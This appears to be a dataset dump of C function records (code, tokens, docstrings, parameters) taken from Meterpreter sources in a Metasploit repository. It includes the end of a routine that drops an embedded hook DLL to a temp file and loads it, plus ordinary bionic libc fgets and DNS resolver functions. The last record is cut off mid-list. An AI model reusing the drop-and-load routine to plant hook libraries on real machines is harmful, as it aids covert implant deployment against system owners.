if (GetFileAttributes(tempFile) == INVALID_FILE_ATTRIBUTES)
{
if ((fd = fopen(tempFile, "wb")))
{
fwrite(raw, 1, rawSize, fd);
fclose(fd);
}
else
result = GetLastError();
}
if (!(hookLibrary = LoadLibrary(tempFile)))
{
result = GetLastError();
break;
}
} while (0);
return result;
} | [
"DWORD",
"extract_hook_library",
"(",
")",
"{",
"HGLOBAL",
"global",
"=",
"NULL",
";",
"HRSRC",
"fileHandle",
"=",
"NULL",
";",
"LPVOID",
"raw",
"=",
"NULL",
";",
"DWORD",
"rawSize",
"=",
"0",
";",
"DWORD",
"result",
"=",
"ERROR_SUCCESS",
";",
"CHAR",
"tempFile",
"[",
"1024",
"]",
";",
"FILE",
"*",
"fd",
"=",
"NULL",
";",
"memset",
"(",
"tempFile",
",",
"0",
",",
"sizeof",
"(",
"tempFile",
")",
")",
";",
"do",
"{",
"ExpandEnvironmentStrings",
"(",
"\"",
"\\\\",
"\"",
",",
"tempFile",
",",
"sizeof",
"(",
"tempFile",
")",
"-",
"1",
")",
";",
"fileHandle",
"=",
"FindResource",
"(",
"hAppInstance",
",",
"MAKEINTRESOURCE",
"(",
"IDR_HOOK_DLL",
")",
",",
"\"",
"\"",
")",
";",
"if",
"(",
"!",
"fileHandle",
")",
"{",
"result",
"=",
"GetLastError",
"(",
")",
";",
"break",
";",
"}",
"global",
"=",
"LoadResource",
"(",
"hAppInstance",
",",
"fileHandle",
")",
";",
"raw",
"=",
"LockResource",
"(",
"global",
")",
";",
"rawSize",
"=",
"SizeofResource",
"(",
"hAppInstance",
",",
"fileHandle",
")",
";",
"DeleteFile",
"(",
"tempFile",
")",
";",
"if",
"(",
"GetFileAttributes",
"(",
"tempFile",
")",
"==",
"INVALID_FILE_ATTRIBUTES",
")",
"{",
"if",
"(",
"(",
"fd",
"=",
"fopen",
"(",
"tempFile",
",",
"\"",
"\"",
")",
")",
")",
"{",
"fwrite",
"(",
"raw",
",",
"1",
",",
"rawSize",
",",
"fd",
")",
";",
"fclose",
"(",
"fd",
")",
";",
"}",
"else",
"result",
"=",
"GetLastError",
"(",
")",
";",
"}",
"if",
"(",
"!",
"(",
"hookLibrary",
"=",
"LoadLibrary",
"(",
"tempFile",
")",
")",
")",
"{",
"result",
"=",
"GetLastError",
"(",
")",
";",
"break",
";",
"}",
"}",
"while",
"(",
"0",
")",
";",
"return",
"result",
";",
"}"
] | Extract and load the hook library | [
"Extract",
"and",
"load",
"the",
"hook",
"library"
] | [
"// Write the file to disk\r",
"// Try to load the library\r"
] | [] | {
"returns": [],
"raises": [],
"params": [],
"outlier_params": [],
"others": []
} |
f26385d6a83b67313ee3863e947577922411e5cb | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/stdio/fgets.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | fgets | char | char *
fgets(char *buf, int n, FILE *fp)
{
size_t len;
char *s;
unsigned char *p, *t;
if (n <= 0) /* sanity check */
return (NULL);
_SET_ORIENTATION(fp, -1);
s = buf;
n--; /* leave space for NUL */
while (n != 0) {
/*
* If the buffer is empty, refill it.
*/
if (fp->_r <= 0) {
if (__srefill(fp)) {
/* EOF/error: stop with partial or no line */
if (s == buf)
return (NULL);
break;
}
}
len = fp->_r;
p = fp->_p;
/*
* Scan through at most n bytes of the current buffer,
* looking for '\n'. If found, copy up to and including
* newline, and stop. Otherwise, copy entire chunk
* and loop.
*/
if ((int)len > n)
len = n;
t = memchr((void *)p, '\n', len);
if (t != NULL) {
len = ++t - p;
fp->_r -= len;
fp->_p = t;
(void)memcpy((void *)s, (void *)p, len);
s[len] = '\0';
return (buf);
}
fp->_r -= len;
fp->_p += len;
(void)memcpy((void *)s, (void *)p, len);
s += len;
n -= len;
}
*s = '\0';
return (buf);
} | /*
* Read at most n-1 characters from the given file.
* Stop when a newline has been read, or the count runs out.
* Return first argument, or NULL if no characters were read.
* Do not return NULL if n == 1.
*/ | Read at most n-1 characters from the given file.
Stop when a newline has been read, or the count runs out.
Return first argument, or NULL if no characters were read.
Do not return NULL if n == 1. | [
"Read",
"at",
"most",
"n",
"-",
"1",
"characters",
"from",
"the",
"given",
"file",
".",
"Stop",
"when",
"a",
"newline",
"has",
"been",
"read",
"or",
"the",
"count",
"runs",
"out",
".",
"Return",
"first",
"argument",
"or",
"NULL",
"if",
"no",
"characters",
"were",
"read",
".",
"Do",
"not",
"return",
"NULL",
"if",
"n",
"==",
"1",
"."
] | char *
fgets(char *buf, int n, FILE *fp)
{
size_t len;
char *s;
unsigned char *p, *t;
if (n <= 0)
return (NULL);
_SET_ORIENTATION(fp, -1);
s = buf;
n--;
while (n != 0) {
if (fp->_r <= 0) {
if (__srefill(fp)) {
if (s == buf)
return (NULL);
break;
}
}
len = fp->_r;
p = fp->_p;
if ((int)len > n)
len = n;
t = memchr((void *)p, '\n', len);
if (t != NULL) {
len = ++t - p;
fp->_r -= len;
fp->_p = t;
(void)memcpy((void *)s, (void *)p, len);
s[len] = '\0';
return (buf);
}
fp->_r -= len;
fp->_p += len;
(void)memcpy((void *)s, (void *)p, len);
s += len;
n -= len;
}
*s = '\0';
return (buf);
} | [
"char",
"*",
"fgets",
"(",
"char",
"*",
"buf",
",",
"int",
"n",
",",
"FILE",
"*",
"fp",
")",
"{",
"size_t",
"len",
";",
"char",
"*",
"s",
";",
"unsigned",
"char",
"*",
"p",
",",
"*",
"t",
";",
"if",
"(",
"n",
"<=",
"0",
")",
"return",
"(",
"NULL",
")",
";",
"_SET_ORIENTATION",
"(",
"fp",
",",
"-1",
")",
";",
"s",
"=",
"buf",
";",
"n",
"--",
";",
"while",
"(",
"n",
"!=",
"0",
")",
"{",
"if",
"(",
"fp",
"->",
"_r",
"<=",
"0",
")",
"{",
"if",
"(",
"__srefill",
"(",
"fp",
")",
")",
"{",
"if",
"(",
"s",
"==",
"buf",
")",
"return",
"(",
"NULL",
")",
";",
"break",
";",
"}",
"}",
"len",
"=",
"fp",
"->",
"_r",
";",
"p",
"=",
"fp",
"->",
"_p",
";",
"if",
"(",
"(",
"int",
")",
"len",
">",
"n",
")",
"len",
"=",
"n",
";",
"t",
"=",
"memchr",
"(",
"(",
"void",
"*",
")",
"p",
",",
"'",
"\\n",
"'",
",",
"len",
")",
";",
"if",
"(",
"t",
"!=",
"NULL",
")",
"{",
"len",
"=",
"++",
"t",
"-",
"p",
";",
"fp",
"->",
"_r",
"-=",
"len",
";",
"fp",
"->",
"_p",
"=",
"t",
";",
"(",
"void",
")",
"memcpy",
"(",
"(",
"void",
"*",
")",
"s",
",",
"(",
"void",
"*",
")",
"p",
",",
"len",
")",
";",
"s",
"[",
"len",
"]",
"=",
"'",
"\\0",
"'",
";",
"return",
"(",
"buf",
")",
";",
"}",
"fp",
"->",
"_r",
"-=",
"len",
";",
"fp",
"->",
"_p",
"+=",
"len",
";",
"(",
"void",
")",
"memcpy",
"(",
"(",
"void",
"*",
")",
"s",
",",
"(",
"void",
"*",
")",
"p",
",",
"len",
")",
";",
"s",
"+=",
"len",
";",
"n",
"-=",
"len",
";",
"}",
"*",
"s",
"=",
"'",
"\\0",
"'",
";",
"return",
"(",
"buf",
")",
";",
"}"
] | Read at most n-1 characters from the given file. | [
"Read",
"at",
"most",
"n",
"-",
"1",
"characters",
"from",
"the",
"given",
"file",
"."
] | [
"/* sanity check */",
"/* leave space for NUL */",
"/*\n\t\t * If the buffer is empty, refill it.\n\t\t */",
"/* EOF/error: stop with partial or no line */",
"/*\n\t\t * Scan through at most n bytes of the current buffer,\n\t\t * looking for '\\n'. If found, copy up to and including\n\t\t * newline, and stop. Otherwise, copy entire chunk\n\t\t * and loop.\n\t\t */"
] | [
{
"param": "buf",
"type": "char"
},
{
"param": "n",
"type": "int"
},
{
"param": "fp",
"type": "FILE"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "buf",
"type": "char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "n",
"type": "int",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "fp",
"type": "FILE",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
8e1321e7998673f07b4040f5a52a4dba86209506 | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/netbsd/resolv/res_query.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | res_nquery | int | int
res_nquery(res_state statp,
const char *name, /* domain name */
int class, int type, /* class and type of query */
u_char *answer, /* buffer to put answer */
int anslen) /* size of answer buffer */
{
u_char buf[MAXPACKET];
HEADER *hp = (HEADER *)(void *)answer;
int n;
u_int oflags;
oflags = statp->_flags;
again:
hp->rcode = NOERROR; /* default */
#ifdef DEBUG
if (statp->options & RES_DEBUG)
printf(";; res_query(%s, %d, %d)\n", name, class, type);
#endif
n = res_nmkquery(statp, QUERY, name, class, type, NULL, 0, NULL,
buf, sizeof(buf));
#ifdef RES_USE_EDNS0
if (n > 0 && (statp->_flags & RES_F_EDNS0ERR) == 0 &&
(statp->options & (RES_USE_EDNS0|RES_USE_DNSSEC)) != 0U)
n = res_nopt(statp, n, buf, sizeof(buf), anslen);
#endif
if (n <= 0) {
#ifdef DEBUG
if (statp->options & RES_DEBUG)
printf(";; res_query: mkquery failed\n");
#endif
RES_SET_H_ERRNO(statp, NO_RECOVERY);
return (n);
}
n = res_nsend(statp, buf, n, answer, anslen);
if (n < 0) {
#ifdef RES_USE_EDNS0
/* if the query choked with EDNS0, retry without EDNS0 */
if ((statp->options & (RES_USE_EDNS0|RES_USE_DNSSEC)) != 0U &&
((oflags ^ statp->_flags) & RES_F_EDNS0ERR) != 0) {
statp->_flags |= RES_F_EDNS0ERR;
if (statp->options & RES_DEBUG)
printf(";; res_nquery: retry without EDNS0\n");
goto again;
}
#endif
#ifdef DEBUG
if (statp->options & RES_DEBUG)
printf(";; res_query: send error\n");
#endif
RES_SET_H_ERRNO(statp, TRY_AGAIN);
return (n);
}
if (hp->rcode != NOERROR || ntohs(hp->ancount) == 0) {
#ifdef DEBUG
if (statp->options & RES_DEBUG)
printf(";; rcode = (%s), counts = an:%d ns:%d ar:%d\n",
p_rcode(hp->rcode),
ntohs(hp->ancount),
ntohs(hp->nscount),
ntohs(hp->arcount));
#endif
switch (hp->rcode) {
case NXDOMAIN:
RES_SET_H_ERRNO(statp, HOST_NOT_FOUND);
break;
case SERVFAIL:
RES_SET_H_ERRNO(statp, TRY_AGAIN);
break;
case NOERROR:
RES_SET_H_ERRNO(statp, NO_DATA);
break;
case FORMERR:
case NOTIMP:
case REFUSED:
default:
RES_SET_H_ERRNO(statp, NO_RECOVERY);
break;
}
return (-1);
}
return (n);
} | /*
* Formulate a normal query, send, and await answer.
* Returned answer is placed in supplied buffer "answer".
* Perform preliminary check of answer, returning success only
* if no error is indicated and the answer count is nonzero.
* Return the size of the response on success, -1 on error.
* Error number is left in H_ERRNO.
*
* Caller must parse answer and determine whether it answers the question.
*/ | Formulate a normal query, send, and await answer.
Returned answer is placed in supplied buffer "answer".
Perform preliminary check of answer, returning success only
if no error is indicated and the answer count is nonzero.
Return the size of the response on success, -1 on error.
Error number is left in H_ERRNO.
Caller must parse answer and determine whether it answers the question. | [
"Formulate",
"a",
"normal",
"query",
"send",
"and",
"await",
"answer",
".",
"Returned",
"answer",
"is",
"placed",
"in",
"supplied",
"buffer",
"\"",
"answer",
"\"",
".",
"Perform",
"preliminary",
"check",
"of",
"answer",
"returning",
"success",
"only",
"if",
"no",
"error",
"is",
"indicated",
"and",
"the",
"answer",
"count",
"is",
"nonzero",
".",
"Return",
"the",
"size",
"of",
"the",
"response",
"on",
"success",
"-",
"1",
"on",
"error",
".",
"Error",
"number",
"is",
"left",
"in",
"H_ERRNO",
".",
"Caller",
"must",
"parse",
"answer",
"and",
"determine",
"whether",
"it",
"answers",
"the",
"question",
"."
] | int
res_nquery(res_state statp,
const char *name,
int class, int type,
u_char *answer,
int anslen)
{
u_char buf[MAXPACKET];
HEADER *hp = (HEADER *)(void *)answer;
int n;
u_int oflags;
oflags = statp->_flags;
again:
hp->rcode = NOERROR;
#ifdef DEBUG
if (statp->options & RES_DEBUG)
printf(";; res_query(%s, %d, %d)\n", name, class, type);
#endif
n = res_nmkquery(statp, QUERY, name, class, type, NULL, 0, NULL,
buf, sizeof(buf));
#ifdef RES_USE_EDNS0
if (n > 0 && (statp->_flags & RES_F_EDNS0ERR) == 0 &&
(statp->options & (RES_USE_EDNS0|RES_USE_DNSSEC)) != 0U)
n = res_nopt(statp, n, buf, sizeof(buf), anslen);
#endif
if (n <= 0) {
#ifdef DEBUG
if (statp->options & RES_DEBUG)
printf(";; res_query: mkquery failed\n");
#endif
RES_SET_H_ERRNO(statp, NO_RECOVERY);
return (n);
}
n = res_nsend(statp, buf, n, answer, anslen);
if (n < 0) {
#ifdef RES_USE_EDNS0
if ((statp->options & (RES_USE_EDNS0|RES_USE_DNSSEC)) != 0U &&
((oflags ^ statp->_flags) & RES_F_EDNS0ERR) != 0) {
statp->_flags |= RES_F_EDNS0ERR;
if (statp->options & RES_DEBUG)
printf(";; res_nquery: retry without EDNS0\n");
goto again;
}
#endif
#ifdef DEBUG
if (statp->options & RES_DEBUG)
printf(";; res_query: send error\n");
#endif
RES_SET_H_ERRNO(statp, TRY_AGAIN);
return (n);
}
if (hp->rcode != NOERROR || ntohs(hp->ancount) == 0) {
#ifdef DEBUG
if (statp->options & RES_DEBUG)
printf(";; rcode = (%s), counts = an:%d ns:%d ar:%d\n",
p_rcode(hp->rcode),
ntohs(hp->ancount),
ntohs(hp->nscount),
ntohs(hp->arcount));
#endif
switch (hp->rcode) {
case NXDOMAIN:
RES_SET_H_ERRNO(statp, HOST_NOT_FOUND);
break;
case SERVFAIL:
RES_SET_H_ERRNO(statp, TRY_AGAIN);
break;
case NOERROR:
RES_SET_H_ERRNO(statp, NO_DATA);
break;
case FORMERR:
case NOTIMP:
case REFUSED:
default:
RES_SET_H_ERRNO(statp, NO_RECOVERY);
break;
}
return (-1);
}
return (n);
} | [
"int",
"res_nquery",
"(",
"res_state",
"statp",
",",
"const",
"char",
"*",
"name",
",",
"int",
"class",
",",
"int",
"type",
",",
"u_char",
"*",
"answer",
",",
"int",
"anslen",
")",
"{",
"u_char",
"buf",
"[",
"MAXPACKET",
"]",
";",
"HEADER",
"*",
"hp",
"=",
"(",
"HEADER",
"*",
")",
"(",
"void",
"*",
")",
"answer",
";",
"int",
"n",
";",
"u_int",
"oflags",
";",
"oflags",
"=",
"statp",
"->",
"_flags",
";",
"again",
":",
"hp",
"->",
"rcode",
"=",
"NOERROR",
";",
"#ifdef",
"DEBUG",
"if",
"(",
"statp",
"->",
"options",
"&",
"RES_DEBUG",
")",
"printf",
"(",
"\"",
"\\n",
"\"",
",",
"name",
",",
"class",
",",
"type",
")",
";",
"#endif",
"n",
"=",
"res_nmkquery",
"(",
"statp",
",",
"QUERY",
",",
"name",
",",
"class",
",",
"type",
",",
"NULL",
",",
"0",
",",
"NULL",
",",
"buf",
",",
"sizeof",
"(",
"buf",
")",
")",
";",
"#ifdef",
"RES_USE_EDNS0",
"if",
"(",
"n",
">",
"0",
"&&",
"(",
"statp",
"->",
"_flags",
"&",
"RES_F_EDNS0ERR",
")",
"==",
"0",
"&&",
"(",
"statp",
"->",
"options",
"&",
"(",
"RES_USE_EDNS0",
"|",
"RES_USE_DNSSEC",
")",
")",
"!=",
"0U",
")",
"n",
"=",
"res_nopt",
"(",
"statp",
",",
"n",
",",
"buf",
",",
"sizeof",
"(",
"buf",
")",
",",
"anslen",
")",
";",
"#endif",
"if",
"(",
"n",
"<=",
"0",
")",
"{",
"#ifdef",
"DEBUG",
"if",
"(",
"statp",
"->",
"options",
"&",
"RES_DEBUG",
")",
"printf",
"(",
"\"",
"\\n",
"\"",
")",
";",
"#endif",
"RES_SET_H_ERRNO",
"(",
"statp",
",",
"NO_RECOVERY",
")",
";",
"return",
"(",
"n",
")",
";",
"}",
"n",
"=",
"res_nsend",
"(",
"statp",
",",
"buf",
",",
"n",
",",
"answer",
",",
"anslen",
")",
";",
"if",
"(",
"n",
"<",
"0",
")",
"{",
"#ifdef",
"RES_USE_EDNS0",
"if",
"(",
"(",
"statp",
"->",
"options",
"&",
"(",
"RES_USE_EDNS0",
"|",
"RES_USE_DNSSEC",
")",
")",
"!=",
"0U",
"&&",
"(",
"(",
"oflags",
"^",
"statp",
"->",
"_flags",
")",
"&",
"RES_F_EDNS0ERR",
")",
"!=",
"0",
")",
"{",
"statp",
"->",
"_flags",
"|=",
"RES_F_EDNS0ERR",
";",
"if",
"(",
"statp",
"->",
"options",
"&",
"RES_DEBUG",
")",
"printf",
"(",
"\"",
"\\n",
"\"",
")",
";",
"goto",
"again",
";",
"}",
"#endif",
"#ifdef",
"DEBUG",
"if",
"(",
"statp",
"->",
"options",
"&",
"RES_DEBUG",
")",
"printf",
"(",
"\"",
"\\n",
"\"",
")",
";",
"#endif",
"RES_SET_H_ERRNO",
"(",
"statp",
",",
"TRY_AGAIN",
")",
";",
"return",
"(",
"n",
")",
";",
"}",
"if",
"(",
"hp",
"->",
"rcode",
"!=",
"NOERROR",
"||",
"ntohs",
"(",
"hp",
"->",
"ancount",
")",
"==",
"0",
")",
"{",
"#ifdef",
"DEBUG",
"if",
"(",
"statp",
"->",
"options",
"&",
"RES_DEBUG",
")",
"printf",
"(",
"\"",
"\\n",
"\"",
",",
"p_rcode",
"(",
"hp",
"->",
"rcode",
")",
",",
"ntohs",
"(",
"hp",
"->",
"ancount",
")",
",",
"ntohs",
"(",
"hp",
"->",
"nscount",
")",
",",
"ntohs",
"(",
"hp",
"->",
"arcount",
")",
")",
";",
"#endif",
"switch",
"(",
"hp",
"->",
"rcode",
")",
"{",
"case",
"NXDOMAIN",
":",
"RES_SET_H_ERRNO",
"(",
"statp",
",",
"HOST_NOT_FOUND",
")",
";",
"break",
";",
"case",
"SERVFAIL",
":",
"RES_SET_H_ERRNO",
"(",
"statp",
",",
"TRY_AGAIN",
")",
";",
"break",
";",
"case",
"NOERROR",
":",
"RES_SET_H_ERRNO",
"(",
"statp",
",",
"NO_DATA",
")",
";",
"break",
";",
"case",
"FORMERR",
":",
"case",
"NOTIMP",
":",
"case",
"REFUSED",
":",
"default",
":",
"RES_SET_H_ERRNO",
"(",
"statp",
",",
"NO_RECOVERY",
")",
";",
"break",
";",
"}",
"return",
"(",
"-1",
")",
";",
"}",
"return",
"(",
"n",
")",
";",
"}"
] | Formulate a normal query, send, and await answer. | [
"Formulate",
"a",
"normal",
"query",
"send",
"and",
"await",
"answer",
"."
] | [
"/* domain name */",
"/* class and type of query */",
"/* buffer to put answer */",
"/* size of answer buffer */",
"/* default */",
"/* if the query choked with EDNS0, retry without EDNS0 */"
] | [
{
"param": "statp",
"type": "res_state"
},
{
"param": "name",
"type": "char"
},
{
"param": "class",
"type": "int"
},
{
"param": "type",
"type": "int"
},
{
"param": "answer",
"type": "u_char"
},
{
"param": "anslen",
"type": "int"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "statp",
"type": "res_state",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "name",
"type": "char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "class",
"type": "int",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "type",
"type": "int",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "answer",
"type": "u_char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "anslen",
"type": "int",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
8e1321e7998673f07b4040f5a52a4dba86209506 | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/netbsd/resolv/res_query.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | res_nsearch | int | int
res_nsearch(res_state statp,
const char *name, /* domain name */
int class, int type, /* class and type of query */
u_char *answer, /* buffer to put answer */
int anslen) /* size of answer */
{
const char *cp, * const *domain;
HEADER *hp = (HEADER *)(void *)answer;
char tmp[NS_MAXDNAME];
u_int dots;
int trailing_dot, ret, saved_herrno;
int got_nodata = 0, got_servfail = 0, root_on_list = 0;
int tried_as_is = 0;
int searched = 0;
errno = 0;
RES_SET_H_ERRNO(statp, HOST_NOT_FOUND); /* True if we never query. */
dots = 0;
for (cp = name; *cp != '\0'; cp++)
dots += (*cp == '.');
trailing_dot = 0;
if (cp > name && *--cp == '.')
trailing_dot++;
/* If there aren't any dots, it could be a user-level alias. */
if (!dots && (cp = res_hostalias(statp, name, tmp, sizeof tmp))!= NULL)
return (res_nquery(statp, cp, class, type, answer, anslen));
/*
* If there are enough dots in the name, let's just give it a
* try 'as is'. The threshold can be set with the "ndots" option.
* Also, query 'as is', if there is a trailing dot in the name.
*/
saved_herrno = -1;
if (dots >= statp->ndots || trailing_dot) {
ret = res_nquerydomain(statp, name, NULL, class, type,
answer, anslen);
if (ret > 0 || trailing_dot)
return (ret);
saved_herrno = statp->res_h_errno;
tried_as_is++;
}
/*
* We do at least one level of search if
* - there is no dot and RES_DEFNAME is set, or
* - there is at least one dot, there is no trailing dot,
* and RES_DNSRCH is set.
*/
if ((!dots && (statp->options & RES_DEFNAMES) != 0U) ||
(dots && !trailing_dot && (statp->options & RES_DNSRCH) != 0U)) {
int done = 0;
for (domain = (const char * const *)statp->dnsrch;
*domain && !done;
domain++) {
searched = 1;
if (domain[0][0] == '\0' ||
(domain[0][0] == '.' && domain[0][1] == '\0'))
root_on_list++;
ret = res_nquerydomain(statp, name, *domain,
class, type,
answer, anslen);
if (ret > 0)
return (ret);
/*
* If no server present, give up.
* If name isn't found in this domain,
* keep trying higher domains in the search list
* (if that's enabled).
* On a NO_DATA error, keep trying, otherwise
* a wildcard entry of another type could keep us
* from finding this entry higher in the domain.
* If we get some other error (negative answer or
* server failure), then stop searching up,
* but try the input name below in case it's
* fully-qualified.
*/
if (errno == ECONNREFUSED) {
RES_SET_H_ERRNO(statp, TRY_AGAIN);
return (-1);
}
switch (statp->res_h_errno) {
case NO_DATA:
got_nodata++;
/* FALLTHROUGH */
case HOST_NOT_FOUND:
/* keep trying */
break;
case TRY_AGAIN:
if (hp->rcode == SERVFAIL) {
/* try next search element, if any */
got_servfail++;
break;
}
/* FALLTHROUGH */
default:
/* anything else implies that we're done */
done++;
}
/* if we got here for some reason other than DNSRCH,
* we only wanted one iteration of the loop, so stop.
*/
if ((statp->options & RES_DNSRCH) == 0U)
done++;
}
}
/*
* If the query has not already been tried as is then try it
* unless RES_NOTLDQUERY is set and there were no dots.
*/
if ((dots || !searched || (statp->options & RES_NOTLDQUERY) == 0U) &&
!(tried_as_is || root_on_list)) {
ret = res_nquerydomain(statp, name, NULL, class, type,
answer, anslen);
if (ret > 0)
return (ret);
}
/* if we got here, we didn't satisfy the search.
* if we did an initial full query, return that query's H_ERRNO
* (note that we wouldn't be here if that query had succeeded).
* else if we ever got a nodata, send that back as the reason.
* else send back meaningless H_ERRNO, that being the one from
* the last DNSRCH we did.
*/
if (saved_herrno != -1)
RES_SET_H_ERRNO(statp, saved_herrno);
else if (got_nodata)
RES_SET_H_ERRNO(statp, NO_DATA);
else if (got_servfail)
RES_SET_H_ERRNO(statp, TRY_AGAIN);
return (-1);
} | /*
* Formulate a normal query, send, and retrieve answer in supplied buffer.
* Return the size of the response on success, -1 on error.
* If enabled, implement search rules until answer or unrecoverable failure
* is detected. Error code, if any, is left in H_ERRNO.
*/ | Formulate a normal query, send, and retrieve answer in supplied buffer.
Return the size of the response on success, -1 on error.
If enabled, implement search rules until answer or unrecoverable failure
is detected. Error code, if any, is left in H_ERRNO. | [
"Formulate",
"a",
"normal",
"query",
"send",
"and",
"retrieve",
"answer",
"in",
"supplied",
"buffer",
".",
"Return",
"the",
"size",
"of",
"the",
"response",
"on",
"success",
"-",
"1",
"on",
"error",
".",
"If",
"enabled",
"implement",
"search",
"rules",
"until",
"answer",
"or",
"unrecoverable",
"failure",
"is",
"detected",
".",
"Error",
"code",
"if",
"any",
"is",
"left",
"in",
"H_ERRNO",
"."
] | int
res_nsearch(res_state statp,
const char *name,
int class, int type,
u_char *answer,
int anslen)
{
const char *cp, * const *domain;
HEADER *hp = (HEADER *)(void *)answer;
char tmp[NS_MAXDNAME];
u_int dots;
int trailing_dot, ret, saved_herrno;
int got_nodata = 0, got_servfail = 0, root_on_list = 0;
int tried_as_is = 0;
int searched = 0;
errno = 0;
RES_SET_H_ERRNO(statp, HOST_NOT_FOUND);
dots = 0;
for (cp = name; *cp != '\0'; cp++)
dots += (*cp == '.');
trailing_dot = 0;
if (cp > name && *--cp == '.')
trailing_dot++;
if (!dots && (cp = res_hostalias(statp, name, tmp, sizeof tmp))!= NULL)
return (res_nquery(statp, cp, class, type, answer, anslen));
saved_herrno = -1;
if (dots >= statp->ndots || trailing_dot) {
ret = res_nquerydomain(statp, name, NULL, class, type,
answer, anslen);
if (ret > 0 || trailing_dot)
return (ret);
saved_herrno = statp->res_h_errno;
tried_as_is++;
}
if ((!dots && (statp->options & RES_DEFNAMES) != 0U) ||
(dots && !trailing_dot && (statp->options & RES_DNSRCH) != 0U)) {
int done = 0;
for (domain = (const char * const *)statp->dnsrch;
*domain && !done;
domain++) {
searched = 1;
if (domain[0][0] == '\0' ||
(domain[0][0] == '.' && domain[0][1] == '\0'))
root_on_list++;
ret = res_nquerydomain(statp, name, *domain,
class, type,
answer, anslen);
if (ret > 0)
return (ret);
if (errno == ECONNREFUSED) {
RES_SET_H_ERRNO(statp, TRY_AGAIN);
return (-1);
}
switch (statp->res_h_errno) {
case NO_DATA:
got_nodata++;
case HOST_NOT_FOUND:
break;
case TRY_AGAIN:
if (hp->rcode == SERVFAIL) {
got_servfail++;
break;
}
default:
done++;
}
if ((statp->options & RES_DNSRCH) == 0U)
done++;
}
}
if ((dots || !searched || (statp->options & RES_NOTLDQUERY) == 0U) &&
!(tried_as_is || root_on_list)) {
ret = res_nquerydomain(statp, name, NULL, class, type,
answer, anslen);
if (ret > 0)
return (ret);
}
if (saved_herrno != -1)
RES_SET_H_ERRNO(statp, saved_herrno);
else if (got_nodata)
RES_SET_H_ERRNO(statp, NO_DATA);
else if (got_servfail)
RES_SET_H_ERRNO(statp, TRY_AGAIN);
return (-1);
} | [
"int",
"res_nsearch",
"(",
"res_state",
"statp",
",",
"const",
"char",
"*",
"name",
",",
"int",
"class",
",",
"int",
"type",
",",
"u_char",
"*",
"answer",
",",
"int",
"anslen",
")",
"{",
"const",
"char",
"*",
"cp",
",",
"*",
"const",
"*",
"domain",
";",
"HEADER",
"*",
"hp",
"=",
"(",
"HEADER",
"*",
")",
"(",
"void",
"*",
")",
"answer",
";",
"char",
"tmp",
"[",
"NS_MAXDNAME",
"]",
";",
"u_int",
"dots",
";",
"int",
"trailing_dot",
",",
"ret",
",",
"saved_herrno",
";",
"int",
"got_nodata",
"=",
"0",
",",
"got_servfail",
"=",
"0",
",",
"root_on_list",
"=",
"0",
";",
"int",
"tried_as_is",
"=",
"0",
";",
"int",
"searched",
"=",
"0",
";",
"errno",
"=",
"0",
";",
"RES_SET_H_ERRNO",
"(",
"statp",
",",
"HOST_NOT_FOUND",
")",
";",
"dots",
"=",
"0",
";",
"for",
"(",
"cp",
"=",
"name",
";",
"*",
"cp",
"!=",
"'",
"\\0",
"'",
";",
"cp",
"++",
")",
"dots",
"+=",
"(",
"*",
"cp",
"==",
"'",
"'",
")",
";",
"trailing_dot",
"=",
"0",
";",
"if",
"(",
"cp",
">",
"name",
"&&",
"*",
"--",
"cp",
"==",
"'",
"'",
")",
"trailing_dot",
"++",
";",
"if",
"(",
"!",
"dots",
"&&",
"(",
"cp",
"=",
"res_hostalias",
"(",
"statp",
",",
"name",
",",
"tmp",
",",
"sizeof",
"tmp",
")",
")",
"!=",
"NULL",
")",
"return",
"(",
"res_nquery",
"(",
"statp",
",",
"cp",
",",
"class",
",",
"type",
",",
"answer",
",",
"anslen",
")",
")",
";",
"saved_herrno",
"=",
"-1",
";",
"if",
"(",
"dots",
">=",
"statp",
"->",
"ndots",
"||",
"trailing_dot",
")",
"{",
"ret",
"=",
"res_nquerydomain",
"(",
"statp",
",",
"name",
",",
"NULL",
",",
"class",
",",
"type",
",",
"answer",
",",
"anslen",
")",
";",
"if",
"(",
"ret",
">",
"0",
"||",
"trailing_dot",
")",
"return",
"(",
"ret",
")",
";",
"saved_herrno",
"=",
"statp",
"->",
"res_h_errno",
";",
"tried_as_is",
"++",
";",
"}",
"if",
"(",
"(",
"!",
"dots",
"&&",
"(",
"statp",
"->",
"options",
"&",
"RES_DEFNAMES",
")",
"!=",
"0U",
")",
"||",
"(",
"dots",
"&&",
"!",
"trailing_dot",
"&&",
"(",
"statp",
"->",
"options",
"&",
"RES_DNSRCH",
")",
"!=",
"0U",
")",
")",
"{",
"int",
"done",
"=",
"0",
";",
"for",
"(",
"domain",
"=",
"(",
"const",
"char",
"*",
"const",
"*",
")",
"statp",
"->",
"dnsrch",
";",
"*",
"domain",
"&&",
"!",
"done",
";",
"domain",
"++",
")",
"{",
"searched",
"=",
"1",
";",
"if",
"(",
"domain",
"[",
"0",
"]",
"[",
"0",
"]",
"==",
"'",
"\\0",
"'",
"||",
"(",
"domain",
"[",
"0",
"]",
"[",
"0",
"]",
"==",
"'",
"'",
"&&",
"domain",
"[",
"0",
"]",
"[",
"1",
"]",
"==",
"'",
"\\0",
"'",
")",
")",
"root_on_list",
"++",
";",
"ret",
"=",
"res_nquerydomain",
"(",
"statp",
",",
"name",
",",
"*",
"domain",
",",
